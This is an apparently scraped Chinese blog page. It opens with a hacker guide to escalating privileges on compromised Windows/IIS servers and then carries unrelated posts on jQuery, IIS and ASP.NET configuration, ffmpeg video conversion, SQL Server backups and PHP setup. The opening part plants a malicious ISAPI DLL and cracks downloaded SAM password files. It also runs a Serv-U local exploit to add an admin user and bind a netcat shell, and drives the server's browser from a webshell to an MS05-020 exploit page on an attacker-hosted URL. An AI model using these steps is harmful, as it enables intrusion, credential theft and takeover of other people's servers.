可以把ISAPIHack.dll上传到IIS的可执行目录,文件名可叫ssinc.dll或者admin.dll等(上面列的13个文件名之一)。
然后等待IIS重启加载此dll,就可以获得权限了
****************************************************************************
第七

下载系统的 %windir%/repair/sam.*(WinNT 4下是sam._ 而Windows 2000下是sam)文件,
然后用L0pht等软件进行破解,只要能拿到,肯花时间,就一定可以破解。
****************************************************************************
第八
PipeUpAdmin(Windows 2000下), 在本机运行可以把当前用户帐号加入管理员组。普通用户和Guests组用户都可以成功运行。
****************************************************************************
第九
Serv-u Ftp Server 本地权限提升漏洞:
很多主机的C:/Documents and Settings/All Users/ Documents目录以及下边几个子目录Documents没有设置权限,导致可以在这个目录上传并运行Exp. 直接上传了serv-u local exploit 和nc, 并且把serv-u的本地提升权限的名字命名为su.exe 文件就放在C:/Documents and Settings/All Users/ Documents, 然后我们用su.exe直接建立用户,也可以反弹一个shell过来的。
具体命令:
建立用户: serv-u.exe "cmd"
>USER xl
>PASS 111111

反弹shell: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"

很不错的提权新方法
今天我要带给大家的是,当我们得到WEBSHELL后如何得到SYSTEM权限的新方法, 提升权限这个已经是老生常谈了,网络上已经有很多种提升权限的方法了,在这里我就不在提了,今天我给大家介绍的是就是主动利用MS05020漏洞来达到我们提升权限的目的。
MS05020是一个IE漏洞,2005.4份的时候微软就发步了这个公告:
安全漏洞CN-VA05-025
发布日期:2005-04-13
漏洞类型:远程执行代码
漏洞评估:高危
受影响版本:
Microsoft Windows 2000 Service Pack 3 和 Microsoft Windows 2000 Service Pack 4
Microsoft Windows XP Service Pack 1 和 Microsoft Windows XP Service Pack 2
Microsoft Windows XP 64-Bit Edition Service Pack 1 (Itanium)
Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium)
Microsoft Windows Server 2003
Microsoft Windows Server 2003(用于基于 Itanium 的系统)Microsoft Windows 98、Microsoft Windows 98 Second Edition (SE) 和 Microsoft Windows Millennium Edition (ME) 测试过的 Microsoft Windows 组件:
漏洞描述:
Internet Explorer 由于其处理某些 DHTML 对象的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站,此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理某些 URL 的方式而存在一个远程执行代码漏洞。 攻击者可以通过构建恶意的网页来利用该漏洞。 如果某个用户访问了恶意网站,此恶意网页就可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。Internet Explorer 由于其处理分级审查文件的方法而存在一个远程执行代码漏洞。 攻击者可以通过构造特制的分级审查文件来利用此漏洞。 如果用户访问了恶意网站或查看了恶意的电子邮件,并接受安装此恶意分级审查文件,则该文件可能允许远程执行代码。 成功利用此漏洞的攻击者可以完全控制受影响的系统。 不过,要利用此漏洞,需要进行大量用户交互。

大家看到上面的漏洞描述了吗?当被人浏览的时候才会受到攻击,平时我们利用IE漏洞都是先把有攻击性的页面放到网上,然后等待别人去浏览,这样浏览者就会中招了。
今天我们要提升权限,那自然是让我们要提升权限的主机去浏览存在漏洞的页面了,那当我们得到WEBSHELL后怎么才能让主机去浏览这个页面呢?
Ms05020的EXP网页代码已经出来了,大家可以到:

http://www.eviloctal.com/forum/read.php?tid=10127

去下载,假如我们已经把这个EXP放到http://www.xxxx.com/ms05020.html的地方,
下面我们开始利用这个EXP,进入到我们的ASP木马,打开CMDSHELL,如果用不了的,大家自己想办法解决(可以自己上传一个CMD.EXE上去)。
在命令行里输入:start http://www.xxxx.com/ms05020.html 然后点执行。

这个时候主机的IE就会去访问我们的这个MS05020.HTML,那么如果主机没有打扑钉的话,就会绑定一个28876的断口在主机上。
接着我们输入:netstat -an | find "28876" 看看是否成功绑定,第一次的话,会慢一些,大家要等待一下,我这里很快就成功了。然后我们telnet上去马上就成功了

大家看到了:(我添加了一个temp的管理员)

现在我们已经拿到SYSTEM权限了 ,大家还想干什么不可以?

后记:其实大家还可以先上传NC,然后连接到本地后,再输入:
start http://www.xxx.com/ms05020.html也是可以的。
还有就是如果可以的话还可以这样输入:
start "C:/Program Files/Internet Explorer/icxplore.exe" http://www.xxx.com/ms05020.htm
这个要看你的情况了,一般虚拟主机如果允许访问的话,那还是用第一个命令好了!
我测试过在2K pro、 2K server(2000 Enterprise Terminal Server) 、2003都成功过!不过也有不成功的时候,而且不成功的概率很大,特别是到虚拟机的时候,有一次我没有成功,然后我开了3389进入,发现IE没有弹出来,而是出来了一个IE设置向导,也就是说这个服务器没有对IE进行网络设置IE是无法访问网络的,艾,其实我现在也没有搞清楚是怎么会事有点能成功有点不行,想也想不通,因为start ist:http://www.xxx.com/xxx.exe总是能成功!
把XXX。EXE下载到它的电脑上面!我最后认为估计这个还是和MS05020.HTM这个文件有关。艾,看来这个方法的利用价值也很小了,本来不想发出来了的,既然写出来了,还是发表出来一下吧!刚刚和无敌讨论了一下,他也是说不成功的原因估计也是这个,还有就是系统打了IE补丁。

jQuery.extend()

May 5th, 2013 § 0 comments § permalink

jQuery.extend( target, [ object1 ], [ objectN ] ) 返回: Object

描述: 合并两个或更多的对象的内容汇集成到第一个对象。

  • version added: 1.0jQuery.extend( target, [ object1 ], [ objectN ] )

    target 一个对象,如果附加的对象被传递给这个方法将那么它将接收新的属性,如果它是唯一的参数将扩展jQuery的命名空间。

    object1一个对象,它包含额外的属性合并到第一个参数

    objectN包含额外的属性合并到第一个参数

  • version added: 1.1.4jQuery.extend( [ deep ], target, object1, [ objectN ] )

    deep如果是true,合并成为递归(又叫做深拷贝)。

    target对象扩展。这将接收新的属性。

    object1一个对象,它包含额外的属性合并到第一个参数

    objectN包含额外的属性合并到第一个参数

当我们提供两个或多个对象给$.extend(),对象的所有属性都添加到目标对象。

如果只有一个参数提供给$.extend(),这意味着目标参数被省略。在这种情况下,jQuery对象本身被默认为目标。这样,我们可以在jQuery的命名空间下添加新的功能。这可用于插件作者希望添加新的方法到jQuery。

请记住,目标对象(第一个参数)将被修改,也将通过$.extend()返回。然而,如果我们想保留原对象,我们可以通过传递一个空对象作为目标:

var object = $.extend({}, object1, object2);

通过$.extend()合并执行默认不是递归的;如果第一个对象的属性本身是一个对象或数组,这将是完全用第二个对象相同的key重写一个属性。这些值是不合并。这可以看到在下面的例子通过检查香蕉的值。然而,true为第一个函数参数,对象将被递归合并。

未定义的属性不会被复制。然而,从对象原型的继承属性被复制。

Examples:

Example: Merge two objects, modifying the first.


var object1 = {
  apple: 0,
  banana: {weight: 52, price: 100},
  cherry: 97
};
var object2 = {
  banana: {price: 200},
  durian: 100
};

$.extend(object1, object2);

Result:

object1 === {apple: 0, banana: {price: 200}, cherry: 97, durian: 100}

Example: Merge two objects recursively, modifying the first.


var object1 = {
  apple: 0,
  banana: {weight: 52, price: 100},
  cherry: 97
};
var object2 = {
  banana: {price: 200},
  lime: 100
};

$.extend(true, object1, object2);

Result:

object1 === {apple: 0, banana: {weight: 52, price: 200}, cherry: 97, lime: 100}

Example: Merge settings and options, modifying settings.

var settings = { validate: false, limit: 5, name: "foo" };
var options = { validate: true, name: "bar" };
jQuery.extend(settings, options);

Result:

settings == { validate: true, limit: 5, name: "bar" }

Example: Merge defaults and options, without modifying the defaults. This is a common plugin development pattern.

var empty = {}
var defaults = { validate: false, limit: 5, name: "foo" };
var options = { validate: true, name: "bar" };
var settings = $.extend(empty, defaults, options);

Result:

settings == { validate: true, limit: 5, name: "bar" }
empty == { validate: true, limit: 5, name: "bar" }

asp.net上传文件限制,IIS7【请求筛选模块被配置为拒绝超过请求内容长度的请求 】的解决办法

May 4th, 2013 § 0 comments § permalink

解决方法

1. 修改IIS的applicationhost.config

a.文件位置: %windir%/system32/inetsrv/config/applicationhost.config

b.找到 <requestFiltering> 节点

c.为这个节点添加如下元素:<requestLimits maxAllowedContentLength="2147483647" /> (上传的大小将改为2G)

注:该节点下默认没有 <requestLimits maxAllowedContentLength="上传大小的值(单位:byte)" /> 元素。

2. web.config中添加如下内容

<configuration>

<system.web>

<httpRuntime maxRequestLength="2097151" executionTimeout="120"/>

</system.web>

</configuration>

复制代码说明:
httpRuntime 配置 ASP.NET HTTP 运行时设置,以确定如何处理对 ASP.NET 应用程序的请求。
maxRequestLength (指示 ASP.NET 支持的最大文件上载大小)
指定输入流缓冲阈值限制(以 KB 为单位)。此限制可用于防止拒绝服务攻击;例如,因用户向服务器发送大型文件而导致的拒绝服务攻击。
默认值为 4096 (4 MB),最大值只能是2097151K。
executionTimeout:指定在被 ASP.NET 自动关闭前,允许执行请求的最大秒数。默认90秒。
只有当 compilation 元素中的调试属性为 False 时,此超时属性才适用。若要帮助避免在调试期间关闭应用程序,请不要将此超时属性设置为较大值。

3. web.config中,把以下内容加在<system.webServer>节点

<security>

<requestFiltering >

<requestLimits maxAllowedContentLength="2147483647" ></requestLimits>

</requestFiltering>

</security>
上述中maxAllowedContentLengt是以BK为单位。

FLV视频转换的利器 - ffmpeg.exe和mencoder(转)

May 4th, 2013 § 0 comments § permalink

文章1:
大家应该都知道Youtobe、Google Video之类视频分享网站。他们的视频全部是使用Flash播放,而通过探索实际地址,会发现下载回来的东西都是Flash支持的FLV格式。这种格式的视频,播放和转换是非常麻烦的。但是,有一个源于Linux的工具软件ffmpeg可以轻易地实现FLV向其它格式(avi(mpeg4)、asf、mpeg)的转换或者将其它格式转换为flv。   =OD'GuQ
ffmpeg作为Linux下的LGPL开源程序,在Windows下编译需要特殊的工具。我这里提供的ffmpeg.exe是2004年的旧版本,使用MinGW编译,只有一个可执行文件,可直接运行(命令行程序)。   b<td|kk
FLV向其它格式(avi(mpeg4)、asf、mpeg)转换的简易方法:(圆括号内必填,方括号内可选)   khOG Kh*
转换成wmv/asf   JZvQCf;$
ffmpeg -i (要转换的flv文件完整路径) -f asf -vcodec (wmv1或wmv2) [-b 视频码率] -acodec mp3 [-ab 音频码率] (输出的asf/wmv文件完整路径)   !.C1}Wf
转换成mpeg1   n Xa Os&
ffmpeg -i (要转换的flv文件完整路径) -f mpeg -vcodec mpeg1video [-b 视频码率] -acodec mp2 [-ab 音频码率] (输出的mpg文件完整路径)   =mmBjG}0{
转换成avi(msmpeg4)   z4%EYCZ'
ffmpeg -i (要转换的flv文件完整路径) -f avi -vcodec (msmpeg4或msmpeg4v1或msmpeg4v2) [-b 视频码率] -acodec mp3 [-ab 音频码率] (输出的avi文件完整路径)   AImbKhOK'

 

 

文章2:

最近完成了这个小Demo,来分享一下!
上面给了我两天时间,来完成这个小功能
于时我花了半天时间从网络上到处鄱资料,又花了半天时间调试代码,成功之后,终于有了以下一点的经验之谈:

这里讲一下重要的:
1.用到两个工具,一个是ffmpeg.exe,另一个是mencoder.exe
ffmpeg最新版本的下载地址:http://ffdshow.faireal.net/mirror/ffmpeg/ 
Mencoder新版本的下载地址:http://www5.mplayerhq.hu/MPlayer/releases/win32/

这里有一个重点,网上的文章都没讲到,所以造成有些人运行后没反应,原因是上面路径的下载,有很多版本,不同的版本可能个别参数不同,而网上的文章所用的参数都是用很早的版本写的,所以会造成运行后因参数错误而没有效果
简单处理是:把网上参数在cmd命令行执行一下,这时命令行会报哪个参数错误,把它删了即可!

2.判断处理成功与失败或是进度是否完成,从异步获取的输出信息判断[包括获取原视频的宽与高]
这里重点在两个委托事件中,详情见以下几行代码

C#代码  收藏代码
  1. private  void StartProcess(string tool)
  2. {
  3.     StartProcess(tool, false);
  4. }
  5.        private  void StartProcess(string tool,bool onlyCheckInfo)
  6.        {
  7.            System.Diagnostics.Process p = new System.Diagnostics.Process();
  8.            p.StartInfo.FileName = tool;
  9.            p.StartInfo.Arguments = commandPara;
  10.            p.StartInfo.UseShellExecute = false;
  11.            p.StartInfo.RedirectStandardInput = true;
  12.            p.StartInfo.RedirectStandardOutput = true;
  13.            p.StartInfo.RedirectStandardError = true;
  14.            p.StartInfo.CreateNoWindow = false;
  15.            p.OutputDataReceived += new System.Diagnostics.DataReceivedEventHandler(p_OutputDataReceived);
  16.            if (onlyCheckInfo)//只检测文件是否可转换与获到内部宽与高
  17.            {
  18.                p.ErrorDataReceived += new System.Diagnostics.DataReceivedEventHandler(p_CheckInfoDataReceived);
  19.            }
  20.            else
  21.            {
  22.                p.ErrorDataReceived += new System.Diagnostics.DataReceivedEventHandler(p_ErrorDataReceived);
  23.            }
  24.            //开始执行
  25.            try
  26.            {
  27.                p.Start();
  28.                p.BeginOutputReadLine();
  29.                p.BeginErrorReadLine();
  30.                p.WaitForExit();
  31.            }
  32.            catch (Exception err)
  33.            {
  34.                Console.WriteLine(err.Message);
  35.            }
  36.            finally
  37.            {
  38.                p.Close();
  39.            }
  40.        }
  41.        void p_CheckInfoDataReceived(object sender, System.Diagnostics.DataReceivedEventArgs e)
  42.        {
  43.            if (!string.IsNullOrEmpty(e.Data))
  44.            {
  45.                if (e.Data.Contains("Stream") && e.Data.Contains("Video:"))//设置原视频窗口大小作为flv视频的宽与高
  46.                {
  47.                    Match match = Regex.Match(e.Data, @", (\d+)x(\d+)");
  48.                    if (match != null)
  49.                    {
  50.                        videoWidth = match.Groups[1].Value;
  51.                        videoHeight = match.Groups[2].Value;
  52.                    }
  53.                }
  54.                else if (e.Data.Contains("could not find codec parameters"))//ffmpeg转换失败
  55.                {
  56.                    isCanChangeToFlv = false;
  57.                    Program.SetDataBase(id, 1, count + 1);
  58.                }
  59.            }
  60.        }
  61.         void p_ErrorDataReceived(object sender, System.Diagnostics.DataReceivedEventArgs e)
  62.        {
  63.            if (!string.IsNullOrEmpty(e.Data))
  64.            {
  65.                if (e.Data.Contains("video:") && e.Data.Contains("muxing overhead"))//ffmpeg转换完成
  66.                {
  67.                    Program.SetDataBase(id, 2, count + 1);
  68.                    Console.WriteLine("转换完成");
  69.                }
  70.                Console.WriteLine(e.Data);
  71.            }
  72.        }
  73.         void p_OutputDataReceived(object sender, System.Diagnostics.DataReceivedEventArgs e)
  74.        {
  75.            if (!string.IsNullOrEmpty(e.Data))
  76.            {
  77.                if (e.Data.Contains("Writing index"))//mencoder转换完成
  78.                {
  79.                    Program.SetDataBase(id, 2, count + 1);
  80.                    Console.WriteLine("转换完成");
  81.                }
  82.                //else if (e.Data.Contains("Exiting"))//mencoder转换失败
  83.                //{
  84.                //    Console.WriteLine("转换失败");
  85.                //}
  86.                Console.WriteLine(e.Data);
  87.            }
  88.        }

本文只讲重点,请结合网络其它文章与本文即可!

文章3:

Youtube的成功,使得国内的视频网站如雨后春笋般的冒出来,前不久朋友叫我帮他写一个将各种视频格式转换成flv的程序,这里就将编写程序遇 到困难和获得的经验拿出来和大家分享一下。 1、使用引擎:ffmpeg + Mencoder 2、ffmpeg最新版本的下载地址:http://ffdshow.faireal.net/mirror/ffmpeg/ Mencoder新版本的下载地址:http://www5.mplayerhq.hu/MPlayer/releases/win32/ 3、转换速度比较:总体上ffmpeg转换的速度快于Mencoder 4、转换格式要求:rm、rmvb、r

Youtube的成功,使得国内的视频网站如雨后春笋般的冒出来,前不久朋友叫我帮他写一个将各种视频格式转换成flv的程序,这里就将编写程序遇到困难和获得的经验拿出来和大家分享一下。

1、使用引擎:ffmpeg + Mencoder
2、ffmpeg最新版本的下载地址:http://ffdshow.faireal.net/mirror/ffmpeg/
Mencoder新版本的下载地址:http://www5.mplayerhq.hu/MPlayer/releases/win32/
3、转换速度比较:总体上ffmpeg转换的速度快于Mencoder
4、转换格式要求:rm、rmvb、rt格式的文件只能用Mencoder转换,出于速度考虑我基本上都用ffmpeg转换,所以Mencoder能转换的格式我没有详细测试(哪个朋友知道,麻烦你告诉我下,我补充上去)。
5、纯音频格式只能用Mencoder进行转换。如何判断是否是纯音频格式可以通过使用命令 FFmpeg -i "文件的完整路径" 获得输出后就可以分析出来。
6、.mov格式的用ffmpeg转换出来的效果比较差,建议用Mencoder进行转换,wmv8用ffmpeg经常会有花屏产生建议用Mencoder。
7、视频按比率输出的问题:必须先获取源视频文件的宽度和高度(也是通过 FFmpeg -i "文件的完整路径" 获得输出后就可以分析出来)根据这个高度和宽度的比率来设定输出文件的尺寸。
8、 可能的难点:因为这ffmpeg 和 Mencoder都是命令行工具(当然你也可以下载源代码自己修改成com之类的),在C#只能用Process调用,前面我提过要获得输出信息(获取视 频相关信息、获取当前的转换进度、获取什么时候完成转换),必须设置process.StartInfo.UseShellExecute = false; process.StartInfo.CreateNoWindow = true;然后必须通过异步编程的方式获取Process.StandardOutput和Process.StandardError的值,相关说明可 以见(ms-help://MS.MSDNQTR.2003FEB.2052/cpref/html /frlrfSystemDiagnosticsProcessClassStandardOutputTopic.htm)(必须安装了msdn的才能 看)。

本文旨在帮助大家少走一些弯路,并不提供实际的解决方案及相关的源码下载。

有其他任何问题欢迎大家在本文章发布留言。

 

 

sql server2005数据库自动定时备份

May 2nd, 2013 § 0 comments § permalink

1、首先启动sql server 代理

2、点击作业->新建作业

3、"常规"中输入作业的名称

4、新建步骤,类型选T-SQL,在下面的命令中输入下面语句

DECLARE @strPath NVARCHAR(200)
set @strPath = convert(NVARCHAR(19),getdate(),120)
set @strPath = REPLACE(@strPath, ':' , '.')
set @strPath = 'D:\bak\' + 'databasename'+@strPath + '.bak'
BACKUP DATABASE [databasename] TO DISK = @strPath WITH NOINIT , NOUNLOAD , NOSKIP , STATS = 10, NOFORMAT
(D:\bak\改为自己的备份路径,databasename修改为想备份的数据库的名称)

5、添加计划,设置频率,时间等。

确定,完成。

Web开发设计模式PRG:Post/Redirect/Get

May 1st, 2013 § 0 comments § permalink

Post/Redirect/Get 简称PRG,是一种用来防止表单重复提交数据的一种Web设计模式,典型的重复提交form内容的情况像用户刷新提交响应页面等可通过PRG模式来得到避免。

当一个表单通过HTTP POST被请求提交的时候,用户在服务器端返回响应期间如果刷新了响应页面,将会导致原始HTTP POST过来的内容重复提交,可能会导致一些不可预期的结果,比如重复提交数据。

3031

通常我们可以采用PRG模式来回避重复提交数据问题。PRG模式通过响应页面Header返回HTTP状态码进行页面跳转替代响应页面跳转过程。PRG模式流程如下图示:

303

HTTP 1.1 规范介绍HTTP 303U状态页进行跳转,303状态能确保会员在浏览器端安全地刷新服务器端响应,而不会引起HTTP POST请求重复提交。另外,目前很多商业网站依然继续使用HTTP 302来响应跳转,主要考虑到一些版本的浏览器不能很好地兼容HTTP1.1规范中的303状态码。

HTTP规范摘录:

302 Found

请求的资源现在临时从不同的URI响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。

新的临时性的URI应当在响应的Location域中返回。除非这是一个HEAD请求,否则响应的实体中应当包含指向新的URI的超链接及简短说明。

如果这不是一个GET或者HEAD请求,那么浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化。

注意:虽然RFC 1945和RFC 2068规范不允许客户端在重定向时改变请求的方法,但是很多现存的浏览器将302响应视作为303响应,并且使用GET方式访问在Location中规定的URI,而无视原先请求的方法。状态码303和307被添加了进来,用以明确服务器期待客户端进行何种反应。

303 See Other

对应当前请求的响应可以在另一个URI上被找到,而且客户端应当采用GET的方式访问那个资源。这个方法的存在主要是为了允许由脚本激活的POST请求输出重定向到一个新的资源。这个新的URI不是原始资源的替代引用。同时,303响应禁止被缓存。当然,第二个请求(重定向)可能被缓存。

新的URI应当在响应的Location域中返回。除非这是一个HEAD请求,否则响应的实体中应当包含指向新的URI的超链接及简短说明。

注意:许多HTTP/1.1版以前的浏览器不能正确理解303状态。如果需要考虑与这些浏览器之间的互动,302状态码应该可以胜任,因为大多数的浏览器处理302响应时的方式恰恰就是上述规范要求客户端处理303响应时应当做的。

值得注意的是,PRG设计模式并不能适用所有的表单重复提交情况,如以下几种情况:

  1. 如果用户返回表单页面,重新提交表单的情况
  2. 用户在服务器端响应到达之前,多次点击提交按钮的时候。(可通过JavaScript控制提交按钮点击次数)
  3. 由于服务器响应缓慢,用户刷新提交POST请求造成的多次POST请求
  4. 恶意用户避开客户端预防多次提交手段,进行重复提交请求
除了PRG设计模式外,另外还有一些其他技术被用在防止表单重复提交的情况下,如客户端我们可以采取JavaScript防止用户多次点击提交按钮,还可以采用Session记录用户当前提交行为等。
引用:http://en.wikipedia.org/wiki/Post/Redirect/Get

Aspnet_regiis.exe使用

May 1st, 2013 § 0 comments § permalink

使用aspnet_regiis.exe注册.NET Framework

重新安装IIS以后,需要用aspnet_regiis.exe来注册.NET Framework, 如下:

C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_regiis.exe -i

如果机器上同时装有多个版本 .NET Framework ,可以使用aspnet_regiis.exe 为某个asp.net 应用程序指定所用.net framework版本,如下:
C:\WINDOWS\Microsoft.NET\Framework\v2.0.507\aspnet_regiis.exe.

IIS,重新注册
在 %SystemRoot%\Microsoft.NET\Framework\版本\
运行
aspnet_regiis -i

『版本:例为v2.0.507』

===========================================================================
要为 ASP.NET 修复 IIS 映射,请按照下列步骤执行操作:
运行 Aspnet_regiis.exe 实用工具:
单击“开始”,然后单击“运行”。
在“打开”文本框中,键入 cmd,然后按 ENTER 键。
在命令提示符处键入以下命令,然后按 ENTER 键:
"%windir%\Microsoft.NET\Framework\版本\aspnet_regiis.exe" -i

在此路径中,版本 代表在服务器上安装的 .NET Framework
的版本号。键入该命令时,必须将此占位符替换为实际版本号。
注册 Aspnet_isapi.dll:
单击“开始”,然后单击“运行”。
在“打开”文本框中,键入以下命令,然后按 ENTER 键:
regsvr32 %windir%\Microsoft.NET\Framework\版本\aspnet_isapi.dll

Regsvr32 将返回注册结果

windows2003 64Bit asp.net2.0配置

May 1st, 2013 § 0 comments § permalink

1、安装ASP.NET 2.0需先卸载64位的.net2.0
命令:C:\WINDOWS\Microsoft.NET\Framework64\v2.0.50727\aspnet_regiis.exe –u
2、把IIS切换为32Bit模式运行
命令:Cscript C:\inetpub\adminscripts\adsutil.vbs SET W3SVC/AppPools/Enable32bitAppOnWin64 1
3、重装安装32Bit .NET 2.0
命令:C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -r

批处理程序:
程序代码@echo off

echo 卸载64Bit ASP.NET 2.0
C:\WINDOWS\Microsoft.NET\Framework64\v2.0.50727\aspnet_regiis.exe -u

echo 切换IIS为32Bit运行模式
Cscript C:\inetpub\adminscripts\adsutil.vbs SET W3SVC/AppPools/Enable32bitAppOnWin64 1

echo 修复ASP.NET2.0
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -r

@pause

ASP.NET 版本更换方法
1. 更改当前IIS下所有站点的ASP.NET的版本,和默认新建站点的asp.net版本号。
ASP.NET 1.1:C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_regiis.exe –r
ASP.NET 2.0:C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -r
2. 单独更改某一站点的asp.net版本
ASP.NET 1.1:C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_regiis.exe -s W3SVC/%vp%/ROOT/
ASP.NET 2.0:C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -s W3SVC/%vp%/ROOT/

说明:标红色中的%vp%为站点的标识号。在IIS中可以看到。
批量处理程序:
程序代码@echo off

set /p vp="请输入要修改的站点标识符:"

echo 1、Asp.Net 1.1
echo 2、Asp.Net 2.0
echo 3、退出

set /p AspNetVer="请选择Asp.Net版本:"

if %AspNetVer% == 1 goto one
if %AspNetVer% == 2 goto two
if %AspNetVer% == 3 goto end

ne
%SYSTEMROOT%\Microsoft.NET\Framework\v1.1.4322\aspnet_regiis.exe -s W3SVC/%vp%/ROOT/
goto end
:two
%SYSTEMROOT%\Microsoft.NET\Framework\v2.0.50727\aspnet_regiis.exe -s W3SVC/%vp%/ROOT/
goto end
:end
echo end

[转]windows2003 IIS6 PHP5.3.8的安装配置

December 28th, 2012 § 100 comments § permalink

新版本的PHP5.3通过以往老方法已经不能在IIS上安装了(因为现在php 5.3已经不支持ISAPI了,而是用FastCGI了),现在给出在IIS上安装PHP5.3以后版本的教程。

首先肯定是安装IIS了,这个应该不要教吧,不会的可以网上找一找,很多的。

然后下载并安装IIS FastCGI,下载地址:http://www.iis.net/download/fastcgi
选择 x86的,Or, download x86,下载下来名称为 fcgisetup_1.5_rtw_x86.msi。如下图

这个时候在IIS 6的“WEB服务扩展”里就多出了一个FastCGI Handler

再下载安装IIS下的PHP5.3.8,下载地址http://windows.php.net/download/,(注意IIS下要选择VC9的版本)解压到所需目录,该目录需要给予user读取运行权限。

下面是要配置和修改的内容:
说明
(1)如果你的PHP5.3.8是安装版(即以.msi结尾的)安装完所有的软件就可以直接测试运行,安装过程中已经帮你配置完成。
(2)如果你的PHP5.3.8是压缩版(即以.zip结尾的)安装完后要作以下配置。

1.环境变量修改
我的电脑》属性》高级》环境变量》系统变量
Path=E:\PHP\;(加到最前面,如果没有可以自己建一个。)

2.FastCGI安装目录内的修改(注册PHP 到 FastCGI)
打开C:\WINDOWS\system32\inetsrv\fcgiext.ini文件
在文件最后加上下面的语句:
[Types](这个是文件原来就有的,在[Types]后面加上下面的语句就可以,要全部哦不然会报错的。)
php=PHP

[PHP]
ExePath=E:\PHP\php-cgi.exe
InstanceMaxRequests=10000
ActivityTimeout=600
RequestTimeout=600
EnvironmentVars=PHP_FCGI_MAX_REQUESTS:10000,PHPRC:E:\PHP\

3.PHP.ini的修改
PHP5.3.8安装目录下是没有PHP.ini这个文件的,只有php.ini-development和php.ini-production,我们把php.ini-development改为php.ini(当然如果你怕有错可以先备份一下)。
注明:首先建一个文件夹命名为TMP,位置随意我这里放在E:\PHP\tmp。 (upload_tmp_dir会用到,upload_tmp_dir是用来定义上传文件存放的临时路径,这里可以修改并给它定义一个绝对路径,同时需要有读、写权限。)

用搜索(快捷键:Ctrl+F)的方式把下面的关键字改成现在的值:
short_open_tag = Off    (这个它本来默认就是这样我们就不要改了。)
把;upload_tmp_dir =改为upload_tmp_dir=”E:\PHP\tmp”
把;cgi.force_redirect = 1改为cgi.force_redirect=0
把;fastcgi.impersonate = 1;改为 fastcgi.impersonate=1;
把; extension_dir = “ext”改为extension_dir=”E:\PHP\ext”
把;date.timezone =改为date.timezone =PRC(如果不修改date.timezone,打开网页的时候蛮有可能提示500错误。也有人把值改为Asia/Shanghai,我没试过你们可以试试。)

在Windows Extensions中去除扩展前面的分号(;):
; extension=php_curl.dll
; extension=php_gd2.dll
; extension=php_ldap.dll
; extension=php_mbstring.dll
; extension=php_exif.dll
; extension=php_mysql.dll
; extension=php_mysqli.dll
; extension=php_sockets.dll
; extension=php_xmlrpc.dll

4.Internet信息服务(IIS)管理器的修改
(1)
网站》属性》主目录》配置》添加
可执行文件=C:\WINDOWS\system32\inetsrv\fcgiext.dll
扩展名= .php
动作》限制为=GET,HEAD,POST

上面的整个操作如图

2)
网站》属性》文档》添加
默认内容=index.php

这里全部配置好了,一定要把IIS服务重启一下。

5.测试(一定要重启IIS服务)

最后用文本写一段测试代码:
<?php
phpinfo();
?>
保存为index.php,名字随便取只要后缀是.php就可以。
把index.php(你写的文件)放到根目录下,我这里是C:\Inetpub\wwwroot,
然后在浏览器中输入http://127.0.0.1/index.phphttp://localhost/index.php(两者随便一个就可以效果一样)就可以得到返回的信息了。

转自:http://support.chinaccnet.com/archives/9320.html